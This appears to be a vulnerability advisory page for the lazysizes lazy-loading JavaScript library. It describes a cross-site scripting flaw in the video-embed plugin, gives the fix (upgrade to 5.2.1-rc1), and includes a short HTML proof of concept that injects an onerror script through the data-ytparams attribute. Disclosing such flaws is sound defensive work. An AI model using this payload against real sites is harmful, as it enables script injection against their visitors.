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lazysizes@1.0.0-alpha vulnerabilities

High performance (jankfree) lazy loader for images (including responsive images), iframes and scripts (widgets).

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Direct Vulnerabilities

Known vulnerabilities in the lazysizes package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Cross-site Scripting (XSS)

lazysizes is a fast (jank-free), SEO-friendly and self-initializing lazyloader for images (including responsive images picture/srcset), iframes, scripts/widgets and much more. It also prioritizes resources by differentiating between crucial in view and near view elements to make perceived performance even faster.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsafe usage of innerHTML. The following attributes are not sanitized by the video-embed plugin: data-vimeo, data-vimeoparams, data-youtube and data-ytparams which can be abused to inject malicious JavaScript.

PoC

<html>
<head>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/lazysizes.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/plugins/video-embed/ls.video-embed.min.js"></script>
</head>
<body>
    <div class="ratio-16-9 lazyload" data-youtube="M7lc1UVf-VE" data-ytparams="&quot;&gt;&lt;/iframe&gt;&lt;img src=x onerror=alert(1)&gt;">
        <button class="play-btn">play</button>
    </div>    
</body>
</html>

How to fix Cross-site Scripting (XSS)?

Upgrade lazysizes to version 5.2.1-rc1 or higher.

<5.2.1-rc1
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